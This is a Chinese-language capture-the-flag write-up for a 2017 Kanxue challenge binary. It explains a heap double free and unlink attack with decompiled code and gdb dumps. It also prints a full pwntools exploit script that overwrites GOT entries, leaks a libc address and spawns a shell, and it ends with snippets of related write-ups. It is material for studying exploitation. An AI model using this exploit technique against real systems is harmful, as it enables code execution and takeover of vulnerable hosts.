由看雪.Wifi萬能鑰匙 CTF 2017 第4題分析linux double free及unlinking漏洞
即必須保證FD->bk = P 並且 BK->fd = P` 為了繞過這個驗證,需要找到一個地址x,使*x=p, 釋放chunk前,檢查FD->bk=BK->fd=P, P為當前需要free的chunk指標,BK的前一個chunk的指標,FD為後一個chunk的指標。如果有一個堆指標可控,並在一個chunk的資料段內,再如果有個可控的地址是指向P的,記為*X=P。那麼我們就在此chunk上構造兩個chunk,第一個chunk在pre_size的標誌位P設為1,大小到P結束,第二個chunk的
int create() { int result; // [email protected]
char buf; // [sp+0h] [bp-90h]@5 void *dest; // [sp+80h] [bp-10h]@4 int index; // [sp+88h] [bp-8h]@3 size_t nbytes; // [sp+8Ch] [bp-4h]@2 result = dword_6020AC; if ( dword_6020AC <= 4 ) { puts("Input size"); result = read_int(); LODWORD(nbytes) = result; if ( result <= 4096 ) { puts("Input cun"); result = read_int(); index = result; if ( result <= 4 ) { dest = malloc((signed int)nbytes); puts("Input content"); if ( (signed int)nbytes > 112 ) { read(0, dest, (unsigned int)nbytes); } else { read(0, &buf, (unsigned int)nbytes); memcpy(dest, &buf, (signed int)nbytes); } *(_DWORD *)(qword_6020C0 + 4LL * index) = nbytes; *((_QWORD *)&unk_6020E0 + 2 * index) = dest; dword_6020E8[4 * index] = 1; ++dword_6020AC; result = fflush(stdout); } } } return result; }
可以看到當建立heap的時候,會將malloc的返回值儲存到0x6020e0為起始地址的位置,如果分配了就將1寫入到6020E8位起始地址的位置(也就是flag值),如下所示:
gdb-peda$ x/50gx 0x6020c0
0x6020c0: 0x0000000001e8c010 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000001
0x602100: 0x0000000001e8c090 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
堆的大小儲存在以0x1e8c010為起始地址處。
gdb-peda$ x/wx 0x6020c0
0x6020c0: 0x01e8c010
gdb-peda$ x/wx 0x1e8c010
0x1e8c010: 0x00000020
gdb-peda$ x/10wx 0x1e8c010
0x1e8c010: 0x00000020 0x00000100 0x00000100 0x00000000
0x1e8c020: 0x00000000 0x00000000 0x00000031 0x00000000
0x1e8c030: 0x69646570 0x00000079
__int64 delete()
{
__int64 result; // [email protected]
int v1; // [sp+Ch] [bp-4h]@1
puts("Chose one to dele");
result = read_int();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&unk_6020E0 + 2 * (signed int)result));
dword_6020E8[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(dword_6020AC-- - 1);
}
return result;
}
在進行刪除操作時,直接從0x6020e0+index*0x10處獲取堆指標,然後使用free函式刪除堆,然後將0x6020e8+index*0x10處設定為0(將flag置1).
int edit()
{
int result; // [email protected]
int index; // [sp+Ch] [bp-4h]@1
puts("Chose one to edit");
result = read_int();
index = result;
if ( result <= 4 )
{
result = dword_6020E8[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&unk_6020E0 + 2 * index), *(_DWORD *)(4LL * index + qword_6020C0));
result = puts("Edit success!");
}
}
return result;
}
在進行edit操作時,首先根據index從0x6020e8+0x10*index處獲取以前儲存的flag值,如果flag=0說明已經free了,如果flag=1說明已經分配,可以編輯,然後獲取0x6020e0+index*0x10處的指標,然後將使用者輸入的資料寫入該指標對應的地址處。大小符合poi(0x6020c0)+index*0x10處儲存的大小。 這三個函式已經分析完了 我先把exp貼出來一點點分析:
#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
p = process('./4-ReeHY-main')
#context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')
def welcome():
p.recvuntil('name: \n$')
p.send('pediy')
def create(index,size,content):
p.recvuntil('*********\n$')
p.send('1')
p.recvuntil('Input size\n')
p.send(str(size))
p.recvuntil('Input cun\n')
p.send(str(index))
p.recvuntil('Input content\n')
p.send(content)
def delete(index):
p.recvuntil('*********\n$')
p.send('2')
p.recvuntil('Chose one to dele\n')
p.send(str(index))
def edit(index,content):
p.recvuntil('*********\n$')
p.send('3')
p.recvuntil('to edit\n')
p.send(str(index))
p.recvuntil('the content\n')
p.send(content)
def exp():
#system_off = 0x46590
#puts_off = 0x6fd60
#binsh_off = 0x180103
#pop_ret_addr = 0x400DA3
#system_off = 0x41fd0
#puts_off = 0x6cee0
system_off = 0x45390
puts_off = 0x6f690
got_addr = 0x602018 #[email protected]
p_addr = 0x602100
puts_plt = 0x4006d0
welcome()
create(0,0x20,'/bin/sh\x00')
log.info('gen point to control...')
pause()
create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
delete(2)
delete(1)
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
create(2,0x210,payload)
delete(1)
log.info('leaking address...')
edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))
edit(1,p64(puts_plt))
delete(2)
puts_addr = p.recv(6)
log.info('puts address:'+hex(u64(puts_addr+'\x00'*2)))
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
log.info('system address:'+hex(system_addr))
log.info('get shell!!!')
edit(1,p64(system_addr))
delete(0)
p.interactive()
if __name__ == '__main__':
exp()
我們的目的就是改寫got段,比如將[email protected]的地址改寫為[email protected]或者[email protected]這樣,當呼叫free函式的時候,就可以執行system函式或者put函數了。 怎麼改寫got段呢 ,在unlink的時候,有一處覆寫可以利用,然後在地址0x6020e0開始處儲存了堆的指標,如果該出可以被改寫,那便在以後edit函式呼叫了,就可以改寫指標對應地址的資料了。 下邊詳細分析一下吧。
create(0,0x20,'/bin/sh\x00')
create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
建立三個堆,index分別為0,2,1,大小分別是0x20,0x100,0x100,此時記憶體佈局是這樣的:
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000001
0x602100: 0x0000000001e8c090 0x0000000000000001
gdb-peda$ x/100gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000000111
0x1e8c090: 0x0000000042424242 0x0000000000000000
0x1e8c0a0: 0x0000000000000000 0x0000000000000000
0x1e8c0b0: 0x0000000000000000 0x0000000000000000
0x1e8c0c0: 0x0000000000000000 0x0000000000000000
0x1e8c0d0: 0x0000000000000000 0x0000000000000000
0x1e8c0e0: 0x0000000000000000 0x0000000000000000
0x1e8c0f0: 0x0000000000000000 0x0000000000000000
0x1e8c100: 0x0000000000000000 0x0000000000000000
0x1e8c110: 0x0000000000000000 0x0000000000000000
0x1e8c120: 0x0000000000000000 0x0000000000000000
0x1e8c130: 0x0000000000000000 0x0000000000000000
0x1e8c140: 0x0000000000000000 0x0000000000000000
0x1e8c150: 0x0000000000000000 0x0000000000000000
0x1e8c160: 0x0000000000000000 0x0000000000000000
0x1e8c170: 0x0000000000000000 0x0000000000000000
0x1e8c180: 0x0000000000000000 0x0000000000000000
0x1e8c190: 0x0000000000000000 0x0000000000000111
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
0x1e8c1c0: 0x0000000000000000 0x0000000000000000
0x1e8c1d0: 0x0000000000000000 0x0000000000000000
0x1e8c1e0: 0x0000000000000000 0x0000000000000000
0x1e8c1f0: 0x0000000000000000 0x0000000000000000
0x1e8c200: 0x0000000000000000 0x0000000000000000
0x1e8c210: 0x0000000000000000 0x0000000000000000
0x1e8c220: 0x0000000000000000 0x0000000000000000
然後是: delete(2) delete(1) 將這兩個堆釋放掉,記憶體佈局是這樣的:
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010: 0x0000010000000020 0x0000000000000100
0x1e8c020: 0x0000000000000000 0x0000000000000031
0x1e8c030: 0x0000007969646570 0x0000000000000000
0x1e8c040: 0x0000000000000000 0x0000000000000000
0x1e8c050: 0x0000000000000000 0x0000000000000031
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x0000000001e8c090 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/100gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000020f81
0x1e8c090: 0x00007ff81a1cab78 0x00007ff81a1cab78
0x1e8c0a0: 0x0000000000000000 0x0000000000000000
0x1e8c0b0: 0x0000000000000000 0x0000000000000000
0x1e8c0c0: 0x0000000000000000 0x0000000000000000
0x1e8c0d0: 0x0000000000000000 0x0000000000000000
0x1e8c0e0: 0x0000000000000000 0x0000000000000000
0x1e8c0f0: 0x0000000000000000 0x0000000000000000
0x1e8c100: 0x0000000000000000 0x0000000000000000
0x1e8c110: 0x0000000000000000 0x0000000000000000
0x1e8c120: 0x0000000000000000 0x0000000000000000
0x1e8c130: 0x0000000000000000 0x0000000000000000
0x1e8c140: 0x0000000000000000 0x0000000000000000
0x1e8c150: 0x0000000000000000 0x0000000000000000
0x1e8c160: 0x0000000000000000 0x0000000000000000
0x1e8c170: 0x0000000000000000 0x0000000000000000
0x1e8c180: 0x0000000000000000 0x0000000000000000
0x1e8c190: 0x0000000000000110 0x0000000000000110
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
然後再建立一個index為2的堆,大小為0x210,並寫入一下資料:
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
create(2,0x210,payload)
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x0000000001e8c090 0x0000000000000001
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010: 0x0000010000000020 0x0000000000000210
0x1e8c020: 0x0000000000000000 0x0000000000000031
0x1e8c030: 0x0000007969646570 0x0000000000000000
0x1e8c040: 0x0000000000000000 0x0000000000000000
0x1e8c050: 0x0000000000000000 0x0000000000000031
gdb-peda$ x/50gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000000221
0x1e8c090: 0x0000000000000000 0x0000000000000101
0x1e8c0a0: 0x00000000006020e8 0x00000000006020f0
0x1e8c0b0: 0x4141414141414141 0x4141414141414141
0x1e8c0c0: 0x4141414141414141 0x4141414141414141
0x1e8c0d0: 0x4141414141414141 0x4141414141414141
0x1e8c0e0: 0x4141414141414141 0x4141414141414141
0x1e8c0f0: 0x4141414141414141 0x4141414141414141
0x1e8c100: 0x4141414141414141 0x4141414141414141
0x1e8c110: 0x4141414141414141 0x4141414141414141
0x1e8c120: 0x4141414141414141 0x4141414141414141
0x1e8c130: 0x4141414141414141 0x4141414141414141
0x1e8c140: 0x4141414141414141 0x4141414141414141
0x1e8c150: 0x4141414141414141 0x4141414141414141
0x1e8c160: 0x4141414141414141 0x4141414141414141
0x1e8c170: 0x4141414141414141 0x4141414141414141
0x1e8c180: 0x4141414141414141 0x4141414141414141
0x1e8c190: 0x0000000000000100 0x0000000000000110
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
0x1e8c1c0: 0x0000000000000000 0x0000000000000000
0x1e8c1d0: 0x0000000000000000 0x0000000000000000
可見此處建立的index為2的堆正好將之前建立的index為1,2的堆覆蓋掉,因為0x100+0x10(第二個堆的堆首)+0x100=0x210, 此處建立的堆地址儲存在地址0x602100處。 delete(1) 這條就非常重要了,會發生許多莫名奇妙的事了,因為前邊已經delete(1)過了,這樣就會造成double free,通過前邊的create已經將index為1的堆的堆首改為0x0000000000000100 0x0000000000000110。 這樣當free index為1的堆時,就會通過該堆的prev_inuse判斷前一個堆是否處於allocate狀態,很明顯,prev_index=0,所以就會認為index=2的堆處於free狀態,這樣就會發生unlink操作,具體就是將index=2的堆的bk+0x10處的資料改寫為fd,也就是將0x00000000006020f0+0x10=0x0000000000602100處的資料改寫為0x00000000006020e8 而0x0000000000602100處正好儲存的是index=2的堆的指標 這樣當下次編輯index=2的堆時,其實就是編輯地址0x00000000006020e8的資料了,而該地址的附近正好儲存著index=1的指標,如果將index=1的指標修改為[email protected]的地址,那再編輯index=1的堆時,就可以將free的地址修改為其他地址,比如system或者put等 這樣當再次呼叫free函式時,其實就是執行system函式或者put函數了。 delete(1)後:
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x00000000006020e8 0x0000000000000001
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
可以看到成功將index=2的指標修改為了0x00000000006020e8 edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1)) 其實就是修改0x6020e8處的資料。 got_addr對應的是[email protected],這樣就將index=1的堆指標修改為了[email protected]的地址 got_addr+8對應的是[email protected] edit(1,p64(puts_plt)) 將[email protected]地址修改為puts_plt的地址。 delete(2),本來是呼叫free(),現在變成了呼叫puts([email protected])這樣就得到了puts函式的記憶體低址。 通過偏移就計算出system的函式地址了: system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off log.info('system address:'+hex(system_addr)) edit(1,p64(system_addr)) 將[email protected]替換為system函式地址。 delete(0) 在呼叫free的時候相當於呼叫了system函式,而且index=0的堆正好儲存了/bin/sh字串,所以獲得了一個shell。
參考:
相關推薦
由看雪.Wifi萬能鑰匙 CTF 2017 第4題分析linux double free及unlinking漏洞
我是在ubuntu16 64位除錯的 現在unlink函式加了個判斷需要繞過: 即必須保證FD->bk = P 並且 BK->fd = P` 為了繞過這個驗證,需要找到一個地址x,使*x=p, 釋放chunk前,檢查FD->bk=BK->f
看雪wifi萬能鑰匙CTF年中賽 第四題 writeup(2)
上一篇題解是學習的poyoten的姿勢,這個呢,是學習到了loudy大神的姿勢 首先呢:要把sys_rva和put_rva以及free_rva換成本地libc的偏移值,姿勢如圖 按照第一篇的方法,給程式碼加上gdb斷點 gdb.attach(p, 'b *0x4
看雪.Wifi萬能鑰匙 2017CTF年中賽---第一題
考察浮點數運算 1、OD載入,搜尋字串,查詢到錯誤或正確提示資訊,雙擊點進去。 找到以為的關鍵跳轉,下斷點,重新載入,輸入註冊碼,執行,竟然提示錯誤! 不死心的將關鍵跳轉NOP掉,儲存到檔案,執行, 結果依然報錯!果然爆破不行呀……那就老老實實檢視演算法吧。 2、在該段開始位置下斷點
看雪CTF 2017 第六題設計思路和解題思路
這道題主要需要花時間搞清楚套路,就迎刃而解了。^_^ 1.java層稍作字串加密和類名方法名混淆處理(本來是打算java層也做點文章的@[email protected]) 解題:通過閱讀程式碼,可以知道check函式為關鍵函式,當返回為
看雪CTF 2016_第四題分析
protect follow text cef 數據 crack update ase 時也 結合前輩們的分析,自己再作一個分析,算是當做學習筆記吧! OD 下GetDlgItemTextA 這個斷點 0040148C |. 83F8 1E cmp eax
看雪CTF 2016_第五題分析
一個 div git 範圍 代碼 進行 長度 每一個 語言 這個題是一道窮舉題,考察的應該是編程能力吧! 本題算法不是很難,也是挺好分析的。 這個程序可以下 GetDlgItem 這個api可以定位到關鍵地方。 00401183 > /8A54
萬能鑰匙ctf--4-ReeHY-main除錯記錄--unlink
查詢題目保護開啟,發現只開了NX,未開啟RELRO和PIE,思路可以從修改got表展開。 ida裝載分析程式執行流程,main函式發現是一個常規的選單類題目,推測為堆相關題目。 Malloc函式。分配最大不超過
“WiFi 萬能鑰匙”盜 9 億使用者資料,如何看待運營平臺濫用隱私的問題?
點選上方“CSDN”,選擇“置頂公眾號”關鍵時刻,第一時間送達!相信很多朋友都用過 WiFi 萬
高級軟件工程2017第4次作業——團隊項目:選題、進度安排與需求規格說明書
www. 一周 .html 註意事項 .cn 內容 div 支持 abc Deadline:2017-10-16(周一)21:00pm (註:以下內容參考福大作業,北航作業 ) 一、團隊組成和選題情況說明(10分) 介紹團隊組成,錄一段視頻或者發一張團隊合影,提
CTF【每日一題20160618】挖掘規則裡面的漏洞
繼續黑客遊戲第四關,逆向解密 下載後開啟看到一個“空白”的pdf文件。由於對pdf加解密相當無知,所以百度一下,有人這樣回答: “有幾種可能性: 一、文件本來就是空白。 很多垃圾網站或軟體,通過
看雪CTF第八題
else tar ops ini 指令 text 技術分享 __init__ str vm_context 00000000 vm_context struc ; (sizeof=0x70, mappedto_32) 00000000 r0
oppo(不root)手機檢視萬能鑰匙破解的wifi密碼例項
(一)寫在前面的話萬能鑰匙密碼檢視器在應用市場上有很多,但是他們都有一個共同的基本要求:需要提供root許可權。這一要求讓很多oppo手機使用者望而止步了。 但是作為一個程式設計師怎麼就可以這樣放棄呢? (二)獲取密碼檔案遇到的問題通過了解,市場上的wifi密碼
2017年必看的免費linux視頻及python視頻資源合集
python視頻 linux 軟件版本 網易 linux視頻 2017年必看的linux直播課程與linux在線課程匯總 騰訊課堂:Linux課程:系列直播課程:【免費】零基礎Linux入門系統課程1(持續更新)https://ke.qq.com/course/202854【免費】零基礎l
【HITB GSEC CTF 2017】1000levels
image 運算 位置 步驟 pri 循環 imp 隨機化 .html https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz #通過閱讀天樞戰隊大佬們的wp調試的結
看雪.TSRC 2017CTF秋季賽第三題
truct item set 報錯 spring 現在 logs 封裝 檢測方法 看雪.TSRC 2017CTF秋季賽第三題 wp 這是一道很簡單的題,反調試的坑略多。這道題采用了很多常用的反調試手段,比如調用IsDebuggerPresent、進程名檢查等等。另外也有利用
python爬取看雪論壇的所有主題帖的回覆訊息
最近因為實驗課題的需要,我們對看雪論壇的訊息回覆進行爬取, https://bbs.pediy.com/(看雪論壇) 對於看雪論壇的訊息回覆檢視的一般順序為: 進入看雪論壇的主頁-----> 選擇檢視的主題-----> 選擇想要檢視的話題--------> 檢視該話
看雪 FPC--reverse
很長時間沒有在這裡記錄Writeup了,這次這道題目實在太讓我興奮了。有感而記。 拖進IDA; 驚奇的發現,除了scanf之外,只需要兩個函式就執行到了"Bad....."; 依次檢視兩個驗證函式; 1.sub_401080 會發現 a1與v2是恆等
看雪2018安全開發者峰會,議題乾貨、安全大咖、頭腦風暴!
01 看雪2018安全開發者峰會2018年7月21日,擁有18年悠久歷史的老牌安全技術社群——看
程式設計師式浪漫:Python 帶你看雪啦!
暖爐溫酒配羊湯——今年冬至,你看雪了嗎? 作者 | Ahab 責編 | 仲培藝 前段時間筆者寫了一篇題為《用 Python 來一場人工造雪》的文章,但大家似乎都不滿足僅僅是一個圖片的雪花,都想來一場動態的人工降雪。於是便有了下面的內容: 動態視訊連結